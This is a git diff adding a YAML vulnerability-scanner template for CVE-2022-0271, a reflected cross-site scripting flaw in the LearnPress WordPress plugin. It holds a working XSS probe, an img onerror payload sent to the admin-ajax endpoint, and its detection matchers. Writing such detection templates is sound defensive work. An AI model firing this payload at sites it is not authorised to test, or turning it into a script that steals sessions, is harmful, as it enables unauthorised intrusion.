diff --git a/cves/2022/CVE-2022-0271.yaml b/cves/2022/CVE-2022-0271.yaml new file mode 100644 index 0000000000..8eb26e8da9 --- /dev/null +++ b/cves/2022/CVE-2022-0271.yaml @@ -0,0 +1,29 @@ +id: CVE-2022-0271 + +info: + name: LearnPress < 4.1.6 - Reflected Cross-Site Scripting + author: Akincibor + severity: medium + description: The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting + reference: https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2 + tags: xss + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx%3Cimg%20src%3Dx%20onerror=alert(/XSS/)%3E' + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header